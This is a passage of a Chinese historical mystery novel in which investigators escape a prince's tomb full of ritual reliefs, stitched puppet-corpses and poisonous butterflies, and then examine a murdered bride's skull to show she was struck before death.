池楚浠看着浮雕上的女子接着道:“将军凭借旧部在岚丘东山再起,定下都城盘踞一方,多年后举兵北上夺回了夫人遗体。”
“相传,将军死后与夫人合葬。”池楚浠缓缓道,“苍山的阿婶们只把这当作风花雪夜的故事讲来听,她们说将军对夫人用情至深,夫人死后从未再娶。”
“他为了给夫人报仇,逃亡千里,忍辱负重,最终亲手杀了当年破城掳走夫人的主将,屠了主将满门。”
铁耀听完似乎想起了什么,赶紧道:“你这么一说,我也听过苍山人讲这故事,那些街边卖的话本里还写着呢,拿史书往上翻一翻,说不定是真的。”
两人在回忆从前听过的话本故事,大概这故事只在这一带流传。
岳逸钦忽然举着火把去另一面墙前站定,他抬头望着这一边的浮雕,脸色瞬间沉了下来。
池楚浠跟着过去看。
只见这面墙上不仅有图还有文字,只是那文字与晟朝的通用文字不太一样,粗略看去,池楚浠无法理解其中含义。
第一块浮雕上是一群人在做法事,有侍女扶着棺椁,他们要将这棺材送入墓室。
景序昭道:“师父可认得这靖澜字?咱们的占星盘上曾经出现过靖澜符号。”
岳逸钦道:“司天台里如今还存有靖澜字的古籍,只是少之又少,平日里不会有人想着将它翻出来看一眼。”
他凑近了些细看:“我也只能连蒙带猜说与你们听听。”
他指着第一块浮雕道:“这是在重新入殓。”
他指向其中一个戴着帽衫的人:“巫师。”
“想必正如池丫头所说,这时将军已夺回夫人遗体,正要重新入土。”
几人一起看向第二块浮雕。
岳逸钦指着竖着的一排小字,神情无比凝重:“入土即安,众生勿扰。”
池楚浠盯着浮雕,神色与岳逸钦一样凝重:“那巫师的祭台怎么烧了,好大的火。”
岳逸钦指向下一排字时,手指情不自禁颤了颤:“祭台忽现大火,巫师死了……”
“怎么就死了?”铁耀疑惑。
景序昭眉头微蹙,他顿感不妙,举办仪式的巫师死了是为凶兆。
岳逸钦:“巫师死前曾言,惊扰了青夫人,她愿携一同祭祀的弟子以死谢罪。”
池楚浠往后看去,那块浮雕上,所有参与祭祀法事的巫师弟子皆自刎于棺前。
横刀抹了脖子,血溅三尺。
最终将军在棺上缠了绳子,赤身拉着棺椁送入墓室。
铁耀道:“这将军生得魁梧,力气出奇地大啊。”
池楚浠越看越觉得心惊。
后一块浮雕上的字有些模糊不清,但图案还能看清。是将军杀了所有跟随而来的侍女,将她们的尸体与巫师一行人都置于陪葬室。
岳逸钦为了看清文字,拔了铁耀的刀刮去石壁上的污迹,字迹显现了些。
他道:“惊扰王妃者,死。”
所有人都成了陪葬品。
即使岳逸钦不解释那句话,池楚浠也能理解其中的含义,他们此时也成了惊扰王妃的人。
死去的王难不成变成了鬼也要杀了他们给王妃陪葬?
铁耀道:“他做了王之后莫不是疯了,既要重新安葬王妃,又怎能不惊扰她,这难道也要算死罪。”
景序昭环顾一周,沉声道:“恐怕我们不能从左右两室出去了。”
他指向最后一块浮雕:“得王妃恩准者,可从生门出,是吗?师父。”
岳逸钦点点头:“没错。”
“生门是哪道门?”铁耀四处看去,只有一道疑似通往中室的门。
池楚浠道:“王妃葬在主墓室,若得王妃恩准,岂不是要去拜见她。”
岳逸钦沉着脸,有些犹豫不决。
景序昭此时恢复了许多力气,他独自走向里面那道墓门,若猜得不错,中室后便是主墓,也就是后殿,放置墓主人棺椁的地方。
景序昭道:“从进入这里后便没得选,只有这一条路可走。”
岳逸钦想了想,还是做出和景序昭一样的决定,他示意池楚浠和铁耀跟上。
“吴家墓穴与靖王墓之间可以顺利走动,但都无法出去,要么困死在墓道中,要么拜见靖王妃。”
铁耀心下发凉,怯怯道:“这靖王妃能让咱出去吗,她一个去了几百年的人如何点头答应,这岂不是无论如何来的人都会死在这里。”
池楚浠道:“能入墓穴者大多是盗墓贼,靖王为了不让盗墓贼叨扰王妃,势必要将所有盗墓者斩杀。”
“正如杀掉那些巫师、侍女,一个不留。”
铁耀抚了抚因为恐惧而感到发凉的胳膊,他小声祈祷着:“求靖王妃赏我们一条生路,我们只是误入,误入,不是盗墓贼,决不偷你东西……”
通往中室的门轻而易举便打开了,没有任何机关。
越是平静景序昭越感觉不妙,既然要靖王妃点头放他们一条生路,那么在接受靖王妃考验之前他们暂时是安全的。
中室比前室要宽敞许多,中间有一个圆形的祭坛,与前室浮雕上的祭台一样。
铁耀道:“这不就是巫师自刎那里,祭台上的魂幡都给烧没了。”
池楚浠望着那处祭坛,其实祭坛是建在一处高台之上,这台子占据了半个中殿。
她怔怔道:“这是……戏台。”
从之前的浮雕来看,靖王妃还在做将军夫人时便痴迷唱戏,死后靖王为她建个戏台也无可厚非,只是这戏台似乎过于大了。
有水流声从角落里传来,岳逸钦看着手中的火把,火没有熄灭,说明中室是透气的,水流声也证明了这一点。
景序昭道:“靖澜时期距今几百年,墓穴修建时并无这条支流,如今寒潭江的分支流经墓穴,这墓中原本的构造怕是早已被侵蚀了。”
水流声竟越来越清晰,似乎能明确地辨别它流经的位置,景序昭顺着水流声而去。
烛台上的细小火焰瞬间熄灭,岳逸钦手中的火苗突然剧烈地摇晃,几近熄灭。
“徒儿小心!”岳逸钦提醒道。
景序昭来到水流声传出的角落,没见着水,反而见着一只蝴蝶从下而上飞了出来。
那蝴蝶飞到戏台上,所有人都瞧见
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了。
“又是这蝴蝶。”铁耀盯着它道。
翠蝶接二连三从下方的暗处飞了上来,看不清它们的来处,它们扇动着绿色的翅膀飞至戏台,仿佛要组成一个唱戏班子。
“有几只?”岳逸钦问。
景序昭:“九只。”
池楚浠忽地想起来,恍然道:“鬼唱戏的台上亦是九人。”
不明所以的铁耀感到一阵恶寒,他甚至想往池楚浠身后躲一躲。
这鬼地方处处阴气森森。
“找浮雕。”岳逸钦道。
池楚浠靠近戏台,那高高建起的戏台周围便是一圈浮雕,她重新点燃烛台,对着浮雕细看。
“岳师父,这便是鬼唱戏的来由。”
岳逸钦朝那浮雕看去。
一圈石壁上密密麻麻刻满了东西。
起初,有一位巫师开坛在举行某种仪式,坛中放了一只碗,碗里被填满了东西,像是平常吃的食物。
这里的浮雕没有文字,但玄空门对这些有所涉猎,景序昭便解释给池楚浠听:“此为请魂,将亡故的灵魂通过神婆带到阳间,附身于神婆,与阳间之人对话,做此仪式时旁边通常会放一碗白米。”
池楚浠点点头,表示已知晓,需得继续往后看。
请魂后的巫师明显变了神态,从手舞足蹈的模样突然变得温婉可人。
这算是请魂成功了,王妃的魂附着在巫师身上,她一路跑上了戏台,独自唱起了戏。
靖王还和从前一样坐在台下,在浮雕图上只留下一个背影,从背影看,他似乎有了一丝老态。
浮雕的内容看不出王妃去世多少年,但想要建立一方势力,定都撑王无论如何不会在短时间内实现。
即便是看浮雕像,也能证明靖王的背影渐渐老去。
接下来的几块浮雕上,靖王一直坐在台下,台上的巫师仍旧在唱戏,不知唱了多久,或许一月,或许一年。
某一天,巫师突然于戏台之上暴毙,一身华丽的戏服瞬间倾散。
靖王于台上痛哭流涕,如山一般的身躯佝偻得于田间老翁无异。
可下一面浮雕上又出现了新的巫师,那巫师同样举行请魂仪式,不过被附身的是一位穿着喜服的女子。
王妃的魂重新附着在这位女子身上,女子代替了死去的巫师继续上台唱戏。
仿佛一个循环,靖王的背影又出现在台下。
没多久,女子也暴毙而亡。
巫师寻来了别的女子,与上一位一样,她同样穿着喜服,像是刚嫁人的新妇。
王妃的魂被三番五次请回来,附身于别的女子,或许是人鬼殊途,道不相同,被附身的女子没多久都会死。
死了一个躯体便又找新鲜的换上,如此往复。
池楚浠看得眉头皱起:“当真能让死去多年的人将魂魄附着在活人身上?”
景序昭道:“古老的传说是真是假谁也无从考证,但这些新娘的死都是他们一手造成。”
铁耀是个急性子,他已经迅速看到后方了。
“你们看这个!”他指着浮雕道,“之前死去的新娘又重回戏台了。”
“她们身上竟然绑着绳子,像木偶戏。”
岳逸钦急匆匆过去看:“可是九个?”
铁耀数了一下:“没错,是九个。”
60. 九女舞尸
铁耀道:“她们都死了多久了,为何又将她们绑回来唱戏,尸体还没烂成骨头架子吗?”
岳逸钦盯着浮雕道:“这些尸体是为了引魂,据说死去之人若是执念过深,他们的魂便会留于世间,第一个巫师已成功请魂,完成了死者的未了心愿,按理说王妃该顺势离去的,不该再流连人世。”
岳逸钦快步跑到前面的浮雕,指着第二个出现的巫师道:“是她做的手脚,她留下王妃附身过的尸体是为了永远圈住王妃的魂。”
“据说魂的记忆本就零散不全,若是让他们附身活人,他们会以为自己还没死,就会半人半鬼地活着。”
铁耀道:“死人与活人如何共存,被附身难道旁人不会发现端倪?”
“当然会。”岳逸钦道,“这样的人通常是踮着脚走路,脚跟不着地。”
他望着浮雕继续道:“巫师利用某种巫术困住王妃,令其不断地附身新娘,活着的人被耗尽精气暴毙而亡,于是,她不断地替换新的躯体。”
铁耀愤愤道:“这不是作孽吗?”
池楚浠和景序昭站在其中一面浮雕下,两人都望着其上内容,画面上的巫师穿着夸张的祭祀华服,头顶冠羽,手持法器与王站在一处。
看起来,两人的地位不相上下。
他们下方是跪着的臣子。
池楚浠道:“这是同一个巫师吧,她作孽得到了至高无上的地位,用几个女子的命换来了与王平起平坐的冠羽。”
“就算不能真的请王妃还阳,她也可以为王造一场虚假的美梦,只要王觉得王妃是真的回来了就行。”
铁耀看了这幅浮雕,顿感一阵恶寒。
景序昭道:“靖王怕是一辈子都被蒙在鼓里,他的王妃死后魂魄被困,永不得入轮回。”
池楚浠为这个女人感到惋惜,活着时受辱,死后也不得安息。
“若非靖王的执念左右,巫师也无法趁人之危,他利用靖王对王妃的情谊杀了这么多无辜的人。”
池楚浠道:“人死了便死了,活着的人何必非执着于见她一面,这般如魔如痴,也是昏聩。”
铁耀差点想捂住池楚浠的嘴,他赶紧道:“池娘子别乱说,咱们还在人家的墓穴里呢,叫人家听了生气,一会儿不放咱们出去了。”
景序昭看了池楚浠一眼,欲言又止。
岳逸钦道:“那九名女子曾经都是王妃的容器,巫师利用她们之间的某种联系困住王妃,想必那九具尸体也是做了一定的防腐保存。”
“兴许,她们也在这墓穴之内。”
这一圈的浮雕就到此为止,靖王让王妃还魂,死而复生,巫师也得到了他想要的,看起来已是双赢。
铁耀端着烛台去找是否还有别的浮雕。
池楚浠看向高高的戏台,那几只翠蝶还在台上,它们一直没有飞出台面,仿佛是被困在这里,周围有一圈无形的屏障将它们拦着。
景序昭道:“这些蝴蝶既然能飞进来,就一定有出口,我去看看。”
他拿走了岳逸钦的火把,再次走向水流声传出的位置,之前看那下方是一片漆黑,蝴蝶也是从那里飞出。
此时,他探着火把前伸,照出下方的石壁。
“师父,这里有缝,一人宽左右。”
所有人都探着身子看去,之前看不清是因为这个位置有些刁钻,需得探着脑袋拐着弯儿才能瞧见。
铁耀为难道:“就这个缝,想要过去怕是有些难度,我可以先试试,若是过不去,你们就别费劲了。”
岳逸钦道:“河流改道,墓底发生了变化也不奇怪,只是从这里出去不知能否通向出口。”
池楚浠看向房间里的墓门:“若是不从这儿走,还是得去拜见靖王妃,哪条路恐怕都不容易。”
岳逸钦看向景序昭:“你选。”
景序昭望向石壁下的缝隙,沉声道:“你们在此处等,我去主墓室,到时哪边能走一眼见分晓。”
“不可。”池楚浠一口拒绝,随后,她想了想道,“铁耀兄与岳师父留下,我随你进主墓。”
“不行。”景序昭冷着声。
池楚浠趁他不备,从他手中夺过火把径直朝墓门走去。
刚到墓门前,池楚浠脚下一松,踩到了一块松动的石板,她僵了一瞬,没敢再继续前行。
只听得周围有细细的响动,眼前的墓门自行向上开启。
“别去,那里不是通向主墓!”岳逸钦赶紧道。
景序昭迅速走来与池楚浠站在同一块石面上,他一手将池楚浠推开,自己顶替了她的位置。
脚下的石块还是松动的,在无法判断是否有机关的情况下,将人替换下来最保险。
这是通往主墓的必经之路,无论是谁过来都会踩中这里,前路的一切墓主人早就为他们准备好了。
声音是从景序昭脚下的石板处传开的,窸窸窣窣,仿佛有无数藤蔓在地底蔓延。
刺挠的声音令所有人心里发毛。
铁耀忽地大叫一声,指着后方的戏台道:“鬼啊!”
所有人齐齐看去。
只见那戏台上突然映出一道淡淡的光影,与光影一同出现的还有九个身穿喜服的新娘,她们已然是干尸的模样。
铁耀一个大男人,吓得直往岳逸钦身后躲。
“救命啊……救命!”
九个新娘随着周围的蝴蝶舞动,她们肢体僵硬,但行动却很有秩序,像是在跳一出排练好的舞蹈。
地底下持续有沙沙声传来,伴随着诡异的声音,再看向那几位新娘时,谁都会浑身发麻。
铁耀躲在岳逸钦身后,牢牢抓着他的衣角,尽管害怕到极致,他还是虚着眼看向戏台。
越看腿越软,差点站不住。
“饶命啊饶命……我们不是有意要打扰的,王妃饶命……”
池楚浠盯着跳舞的干尸,她们的皮肉不像是保存了上百年的东西,肉几乎是没有,就剩一层皮。
她们身上的喜服过于完整,像是才穿上去不久,绝对不是几百年前的面料。
“这里的东西早就被动过手脚了。”池楚浠道。
她独自走向戏台,凑得越近越能看清,干尸身上的皮有缝合迹象。
她们身上穿的料子是晟朝流行过的料子。
再一细看,每具干尸身上都缠着细丝,这些丝线绑住了她们的四肢,丝线一动便能操控着她们跳舞。
池楚浠索性爬上戏台,就看着新娘们在她眼前僵硬地舞动。
铁耀见着这一幕差点晕过去,池娘子是吃什么长大的,胆子真大。
“池娘子,你、你确定她们不是鬼吗?”铁耀道。
池楚浠顺着上方的光影看去,那些细线藏在光影里,它们向上延伸,又朝四面八方散去。
看样子,操控她们的绳子都埋进了石壁里,整个石壁里都埋着线,难怪她们一动起来处处都有窸窸窣窣的声音。
即便有人重新修整过,这些东西也是老旧了,不会如刚开始埋入时那般灵活。
池楚浠从戏台上下来,拽着景序昭离开石板。
细微的杂音戛然而止,戏台上的新
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娘也缓缓停下了动作,她们这才像一具尸体一样僵在原地。
池楚浠道:“那块石板是指挥她们的机关,若是想进主墓见王妃,想必是要先见过她的这些容器们。”
不踩着石板,埋入地下的机关便不会运转,戏台上的新娘就僵着一动不动。
岳逸钦似乎想明白了什么,他道:“吴家人想必早就来过靖王墓。”
景序昭确认石块下没有危险后便走近去看台上的干尸。
“戏台上站着的是新娘,吴家接连死去的也是刚嫁入门的新妇。”
池楚浠神色一凝:“这么说来,今日嫁进吴家的新娘怕是也凶多吉少。”
“可惜我们现在也赶不上了。”岳逸钦道,“只盼吴家人对公廨的人还有一丝敬畏,不敢急着犯事。”
铁耀从岳逸钦身后探出头来:“难说,吴家人若是知道咱们闯入此地,恐怕只会杀人灭口,这里必定藏着吴家的秘密。”
他看了看裹着李荞尸骨的包袱,叹了口气:“若是能出去查出李娘子的死因就好办了,再能找着其他吴家妇人就更好了。”
池楚浠和景序昭皆上了戏台,景序昭举着火把为她照亮,池楚浠拨开干尸的头发,手指摸到了脑后的缝合处。
“这些尸体早就是一堆骨头架子了,皮是缝上去的。”
她凑近闻了闻:“像是羊皮。”
池楚浠又仔细摸了尸体的衣服料子,猜测道:“衣料不新,但也不算旧,看着像两三年前的物件。”
确认了台上的尸体不是鬼,铁耀也不躲着了,他道:“这吴家人到底想做什么,把自家的坟修在别人上边就算了,还帮人家打理干尸,又是缝皮又是换衣裳,他们想干嘛。”
“这些蝴蝶怎么不动了?”铁耀看着落在地上的蝴蝶道。
“不好!”景序昭一把捂住池楚浠口鼻。
岳逸钦在同一时间屏住了呼吸,铁耀反应快,赶紧学着他们的样子捂了自己的口鼻。
“来不及了。”景序昭一脸凝重,“这些蝴蝶身上有毒,我们早已染上。”
话音未落,池楚浠就感觉头晕脑胀,果然是中毒了。
顾不上那么多,铁耀赶紧跪下朝主墓室磕头:“王妃放我们一条生路吧!”
岳逸钦一手拎住铁耀后领,将一颗药丸强行塞进他嘴里。
“续命丸,先吃着。”
他接着给池楚浠也塞了一颗。
景序昭就不用了,他已经服用过,药效还在。
景序昭道:“看来不必去拜见王妃了,她不想我们活着出去。”
岳逸钦冷哼:“我看是吴家人不想我们活,巴不得我们死了才好。”
几人朝石壁下的缝隙处走去,如今便只能选这条路。
铁耀先下去探路,他手长脚长,容易够到底。
他抠住上方石壁,用脚去探下方的路,方才已经借着光看过,底下像是一潭水,少了落脚处。
这会儿用脚一试,果然没有落脚的东西,只有水。
铁耀有些难办,他道:“景县丞,我还得往下去看看,劳烦您拉着我点儿。”
景序昭将他拽严实。
缝隙有拐角,无法直视下方,铁耀尽量把头探出去,借着微弱的光四处打量。
忽然,他惊喜地道:“有处浅滩,像是有风吹来,一定有出口!”
景序昭问:“浅滩远吗?”
铁耀:“不远,能游过去,你们都会游泳吗?”
景序昭朝池楚浠看来,见她摇了摇头:“我不会,不过我可以试试。”
61. 喊不出口
“师父,我扶着您下。”
“铁耀,接住师父。”
“诶,好,岳师父您放心下来,我捞得住您!”
铁耀在水里张开双臂。
岳逸钦识得水性,倒也没怎么让他捞,跳入水后自己便朝浅滩游去。
景序昭跳入水中,下方有一处石壁与水面接近,他借此抓着石壁立直身子。
铁耀水性好,单手举着火把为旁人照亮。
池楚浠最后一个下,她手脚不如几个男人长,够着石壁边缘下去时有些吃力。
眼看下方就是一汪黑水,池楚浠心里有些发紧,她不会水,还对水有着深深的恐惧,尤其是这种黑漆漆一眼看不到底的水域。
犹豫了片刻,她深吸了一口气。
景序昭在下方伸出一只手臂,已经做好了接住她的准备。
“尽管下来便是,不会让你呛着水。”景序昭保证道。
池楚浠抓着石壁的手一松,失重感瞬间传来,身子直直落入水中。
身子顺势往下沉了一截,头还没淹入水下她便被景序昭一把捞住。
景序昭尽量托住她的身子,让她露出水面。
铁耀举着火把游在前方:“看见浅滩了吗,就几步路,咱快些过去,那边有风,必定有出口。”
有水珠溅到池楚浠脸上,常年埋在地下的水很凉,她只觉得整个人都僵了一半。
衣裙被水打湿后牢牢地裹在身上,令她难受。
景序昭捞着人往前游的途中忽然顿住,借着火光,池楚浠发现他脸色苍白。
她迅速去抚景序昭胸口,让他不至于太过憋闷。
“那蝴蝶身上带了毒粉,这毒你先后沾染了两次,怕是会毒发得更快。”
只顿了一瞬,景序昭便牢牢将池楚浠圈住,防止她滑入水中。
“无妨。”他闷声应着。
靠近浅滩时水已经不深了,景序昭能踩住水潭底部。
这里的水仿佛一个冰潭,人泡在其中只觉得浑身冻得发麻,池楚浠冷得脸色都变了。
景序昭快速迈向浅滩,待脚下踩严实了便将池楚浠打横抱起,让她的身体脱离水潭。
由于毒发,景序昭双臂有些发颤,他死死将池楚浠圈住,半分也不松开。
池楚浠的脸几乎贴在他胸膛,眼看水已经浅了,池楚浠挣扎着要下来。
“我自己走就好。”她小声道。
景序昭圈着她的手丝毫没松,只沉声道:“水里冷。”
水潭虽冷,但景序昭的体温却很高,大概是中毒的缘故。
池楚浠与他肌肤相贴,被他身上的那层暖意烫得面红耳赤。
她深知眼下不是顾及这些的时候,可景序昭对她实在太上心了。
此时此刻,她连一句阿兄都叫不出口。
景序昭抱着人一步步从水里走出,稳稳地将池楚浠放在浅滩上。
岳逸钦回头看了他二人一眼。
铁耀倒是不以为意,只想往前探路。
“顺着风口去看看。”
岳逸钦已经走在了最前面,他一边走一边观察四周:“看来河流改道影响了靖王墓的结构,原本嵌在这里的墓道被冲毁了。”
沿着石壁往前走,角落里还有些积水,地上偶尔能看见大块的石板,与修建墓道的材料一致。
前方的路被乱石堵了一半,岳逸钦倒是轻松钻了过去,轮到铁耀就费劲了。
他将身上的包袱和火把交给池楚浠,吭哧吭哧搬走了几块石头,这才得以钻过。
池楚浠趁机检查一下李荞的尸骨。
铁耀道:“放心吧,没事,就包袱湿了一点,骨头没事。”
铁耀又把东西都接了回去。
天还未亮,即使前方有出口的缝隙他们也看不清晰,铁耀手中的火把快要燃尽,火光越来越暗。
岳逸钦摸着墙壁前行,他道:“吴家人是没给咱们留这条后路的,若不是有续命丸,我们早死在了中殿,成了那九个干尸的陪葬品。”
“这里是被寒潭江支流冲开的,我们顺着这里走应该能去到河岸边。”
听岳逸钦这么说,铁耀燃起了更多希望,脚步都轻快了些。
“火快没了,池娘子,你的蜡烛还能用吗?”铁耀问。
“浸水了。”池楚浠道。
“那只能摸黑了。”
刚说完这话没多久,火把就彻底熄灭了。
铁耀对身后的两人道:“景县丞,池娘子你们跟紧我和岳师父,千万别走岔了。”
池楚浠嗯了一声。
铁耀拽住了岳逸钦的衣角,又将自己的衣角递给池楚浠。
黑暗中,池楚浠牵住了景序昭。
“别走丢。”她道。
岳逸钦道:“这条被冲毁的墓道应是从左墓室绕出来的,下葬时的队伍便是从这里进。”
池楚浠只感觉这条墓道有些长,不知何时能走到尽头。
脚下又淌到了水,水位没过了池楚浠的膝盖,一如既往凉得刺骨。
铁耀提醒:“当心,脚下路不平。”
池楚浠正好一脚踩到凹陷处,身子不受控制地晃了晃,不过好在她又立即站稳了。
铁耀回过头来关切道:“没事吧池娘子,我走慢些,你尽量跟上。”
“没事。”池楚浠道。
她本是走在景序昭前面,手里是牵着景序昭的,但下一步刚踏出去,身子就徒然一轻。
景序昭不知何时竟一步来到她面前,将她揽到背上。
“我……我自己走。”池楚浠一时语塞。
“景序昭,让我自己走,你还有伤在身……”
景序昭抓住池楚浠的双手让她揽在自己肩上:“抓好。”
池楚浠不得不圈紧一分。
走在最前方的岳逸钦笑了声道:“小娘子泡了这寒潭水不好,你就让她背着,他可以,还死不了。”
池楚浠靠着景序昭的肩,她的呼吸就落在他耳侧。
铁耀跟着凑热闹,呵呵笑了笑:“要是我家中有娘子,我也这般爱着护着。”
岳逸钦:“回头让景县丞给你寻一个好的,嫁进你家去。”
听着他们的对话,池楚浠越发觉得脸颊发烫。
她不是景序昭的娘子,也从未想过嫁进景家,从前没想过,如今亦然。
只是今后这声“阿兄”怕是叫不出口了,人也不能自欺欺人到如此地步。
景序昭是绝对不想听这一声阿兄的,他今夜的所作所为已让池楚浠将他的心意看透了一大半。
他怎会有这样的想法,池楚浠不解。
长安什么样的女子没有,偏偏要与她这个满身尸臭的人打交道。
池楚浠一直听着几人脚下的动静,明明已经淌过了水域,景序昭却还是不肯将她放下。
岳逸钦扶着墙探路,手掌终于触碰到了石壁的边缘,他忍不住快走了几步,迎头钻了出去。
极淡的星光散在江面上,他能看清眼前的轮廓。
“出来了!是寒潭江分支的河岸。”
铁耀钻出来长舒
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了口气:“太好了,我活着出来了,我还能回去娶媳妇儿!”
池楚浠轻拍了一下景序昭肩头,在他耳畔道:“可以放我下来了么?”
景序昭淡淡地嗯了一声,扶着她站好。
他摸了摸池楚浠的衣角:“你衣裳还湿着,快些回去,容易着凉。”
铁耀道:“这河岸距离吴家有些远,咱们这样湿漉漉地回去怕是会被他们看出端倪。”
景序昭沉声道:“我们手中没有证据,吴家不会轻举妄动,盗墓有违律法,若吴家真与靖王墓牵扯,自会极力撇清关系。”
岳逸钦已经大步往岸上去:“徒儿说得没错,咱们就这样大摇大摆地回去,看他吴荣贵有什么说辞。”
池楚浠道:“不要急着与吴家人谈及此事,待我验验李荞的尸骨。”
回去的路上,铁耀小心翼翼地问岳逸钦:“岳主事,我们都中毒了吧……这续命丸能续几日?”
岳逸钦一副不以为意的模样:“三五日是可以的,天下至毒,灵枢谷都可解,不必担心。”
“那灵枢谷里的人是什么来头,这么厉害?”
“从宫中来的,天下第一神医。”
铁耀挠挠头:“没听过。”
“能活着就成,我只要活着,岳主事你可得保证啊,我还没娶媳妇儿呢,不想死。”
岳逸钦白了他一眼。
回到吴家时,早早守在侧门的不良人偷偷为他们开了门,几个不良人急得团团转。
“怎么去了这么久?”
“景县丞你们衣裳怎么都湿了,掉河里了?”
景序昭吩咐:“速速掩好门。”
不良人照办:“放心吧,这边的下人们都打点好了,没发现咱们从这边出入。”
几人各自回了房间。
池楚浠带上了李荞的尸骨。
她等不及到白日再验,当下便将屋中的蜡烛都点燃,让屋子里尽量亮堂起来。
池楚浠寻了一处平整的地方将李荞的尸骨摆放整齐,每一块尸骨都齐全没有损坏,看来铁耀办事还是稳妥的。
夜里光线不好,验骨的法子有限。
丫鬟紫藤还在床上晕乎乎的睡着,看来自己给她下的药有些猛,可别把人迷出个好歹来,池楚浠决定日后多多研究迷药的用量。
她在屋中翻找了一阵,幸好让她找到了新丝绵,这是丫鬟给她准备的衣裳料子。
池楚浠剪下一块新丝绵,挨着在李荞的骸骨上擦拭,用此法验骨时,若遇到有损伤的地方必定会牵扯起绵丝。
这也只对遗留下的骨伤有用,倘若李荞死时并未伤到骨头,那这一法子也就无用了。
池楚浠只能抱着试一试的心态验骨,毕竟李荞可能是因为各种各样的原因暴毙,不一定是外力致死。
李荞的尸身还残留着少许变干的组织,毛发也都在,因是长期埋在地下,尸臭味有些浓郁。
估计明日一早,所有人都会对浅月居敬而远之,没有人会受得了这个味道。
池楚浠准备了水,将骨头一一擦拭干净,暂且放在一旁晾干。
清洗骨块花了不少时间,待池楚浠再次将尸骨拼好时,外头仿佛要天亮了。
她顾不上其他,既然已经把李荞带了出来,那势必要对她负责到底。
即便是吴荣贵父子俩跑来质问,她也必须验骨,这不光是吴家家事,如今已经可以划分到公廨断案的范畴。
等待骨块晾干后,池楚浠拿着新丝绵逐个擦拭,若是骨头上有损伤,丝绵则会被牵起。
62. 李荞死因
最先查验的必定是致命处。
当丝绵擦过颅骨时,第一时间便牵起了丝线。
池楚浠愣了一下,不太相信。
她立即擦拭其他骨块,想要判断是否是带出尸骨时留下的伤痕,若是有,那必定不止这一处。
可这一路上她都有留意裹着李荞的包袱,生怕她磕着碰着,如此小心翼翼,应是不会损伤骨头的。
丝绵擦过其他骨块,均无异常。
为确保验骨结果,池楚浠又用一块新的丝绵再擦拭了两次,每次都格外仔细,就连细小的骨头也没遗漏。
当她最后一次擦向颅骨时,丝绵依旧被牵起。
她捧着颅骨仔细看去,看不出来有明显的伤痕,这也是为何她要用这个法子验骨的原因。
虽然看不出伤痕,但事实证明,李荞头上的确有伤,或许曾经她被外力击打,在颅骨上留下了芒刺。
她抬眼时突然看见门外有个人影。
“谁?”池楚浠警惕起来。
“是我。”景序昭敲了敲门。
池楚浠打开门:“你怎么来了?”
景序昭道:“我已派不良人去公廨叫人,仅凭他们几个恐怕还不够招呼吴家人,你验骨验得如何?”
“我正想与你说。”池楚浠让他进屋,将刚写好的验尸格目交过去。
“李荞颅骨上有致命伤,若不是死后造成的,那么她便不是吴荣贵说的突然暴毙而亡,她生前被外力击打过头部。”
景序昭惊讶于池楚浠的验尸速度,本以为还要等到天明,没想到半晚上就有了进展。
天边已经有了光亮,吴家的下人们估计已经在厨房里忙活好一阵了。
景序昭道:“我让铁耀带着不良人守在了浅月居门口,暂且不让人进来,若还有什么要验的,你尽管验。”
池楚浠看向外边的天色:“等再明亮些我便能判断出她是生前受到的击打还是死后。”
她一脸严肃道:“别让吴家父子来捣乱,你如今只需要一个证据便能抓他们到公廨去。”
景序昭道:“不必送去公廨了,我们要尽快赶去灵枢谷,你体内尚有余毒未解。”
池楚浠看着他:“你不也是。”
“是要尽快办完这桩案子。”池楚浠小声道。
否则,他们都要毒发身亡了。
早晨的太阳渐渐升起,浅月居门口围了一圈人,吴家的下人要来送吃食,不良人拦着不让进,只由不良人把食物送了进去。
时间一久,下人们便将此事告知了吴家主人,吴荣贵亲自过来了。
“这是怎么了,为何不让我家中下人进去,可是出了什么事,让我去瞧瞧。”
铁耀一直盯着吴荣贵看,总感觉他这副模样是装出来的,他像是早就知道池娘子在里面做什么。
还剩下的三个不良人与铁耀一起守在院门,尽管是在吴家的地盘,但没有景序昭的吩咐他们不会放人进去。
吴荣贵道:“景县丞究竟在忙什么,可有需要我帮忙的地方?”
铁耀横着刀:“公廨办案,需要传唤时自然会叫你。”
吴荣贵一脸着急的模样:“不知我吴家犯了什么案?”
铁耀:“犯了什么案等证据一出不就明白了。”
说着,他白了吴荣贵一眼。
老匹夫明知故问,自家宅邸就修在人家墓穴上,还私自动人家墓里的东西,脸上却装出一副什么都不知道的模样。
不良人拦着路不让进,吴荣贵便带着一群仆从等在门口。
景序昭从浅月居走了出来,他打手势示意不良人将路让出来。
“吴老爷请进。”
吴荣贵毫不犹豫快步走了进去,一脸着急道:“景县丞,敢问是出什么事了?”
景序昭开口便问:“李荞是怎么死的?”
吴荣贵疑惑道:“不是暴毙而亡吗,我早就跟县丞说过,她死后便速速将她安葬了。”
吴荣贵跟着景序昭来到院中,看见院中的景象时当下便惊得顿住脚步:“这……这是何人的尸骨,为何在我浅月居?”
只见院中摆放着一具完整的骸骨,池楚浠手里正端着一颗头颅。
她端起头颅迎着阳光看去:“李荞的头部受过撞击,伤到了颅骨。”
“伤处在阳光下有隐隐红色,是生前出血的征兆,说明她是死前被击伤,吴老爷,你说的暴毙而亡是谁亲眼所见?”
吴荣贵愣了愣。
“这……不是暴毙而亡?”吴荣贵上前去看那颗头颅,“我也不知啊,景县丞,你们这样私自将我吴家妇人的骸骨带出墓室,怕是不妥吧。”
铁耀也跟了进来,他阴森森地道:“公廨办案,有何不妥,那不然你随我们去堂下分说。”
吴荣贵苦笑了一下:“办案、办案啊,应该的,只是她这颅骨上的伤我的确不知,兴许是她活着时就有的呢。”
“是吧?”吴荣贵看向家中的下人,仿佛在询问他们的看法,“这从前在头上留下了伤,没好透,所以一嫁进来就活不长久,暴毙了,如今可不能赖在我吴家人头上。”
“我儿对她真心相待,成婚前两人早已私下里结交,都已珠胎暗结,我一心只想吴家有后,必不会为难她,又怎会让她受伤。”
有丫鬟忍不住道:“是啊,官爷,我家老爷巴不得家里有个孩子继承香火,平日里都是督促奴婢们好生照顾李娘子。”
景序昭问:“有谁见着李荞暴毙了?何时何地,死状何样?”
他看了一圈周围的下人,个个都把头埋着。
等了一会儿,没人出声。
吴荣贵道:“我记得李荞死的那日是丫鬟紫藤来禀报的,紫藤呢,叫她来。”
此时,紫藤正迷迷糊糊从床上醒来,她正惊讶于自己怎么在池楚浠床上睡到日上三竿才醒。
听到院中的动静,紫藤匆匆跑了出来:“见过老爷,奴婢睡过头了,还请老爷责罚。”
她低着头跪在地上,一副小心谨慎的样子。
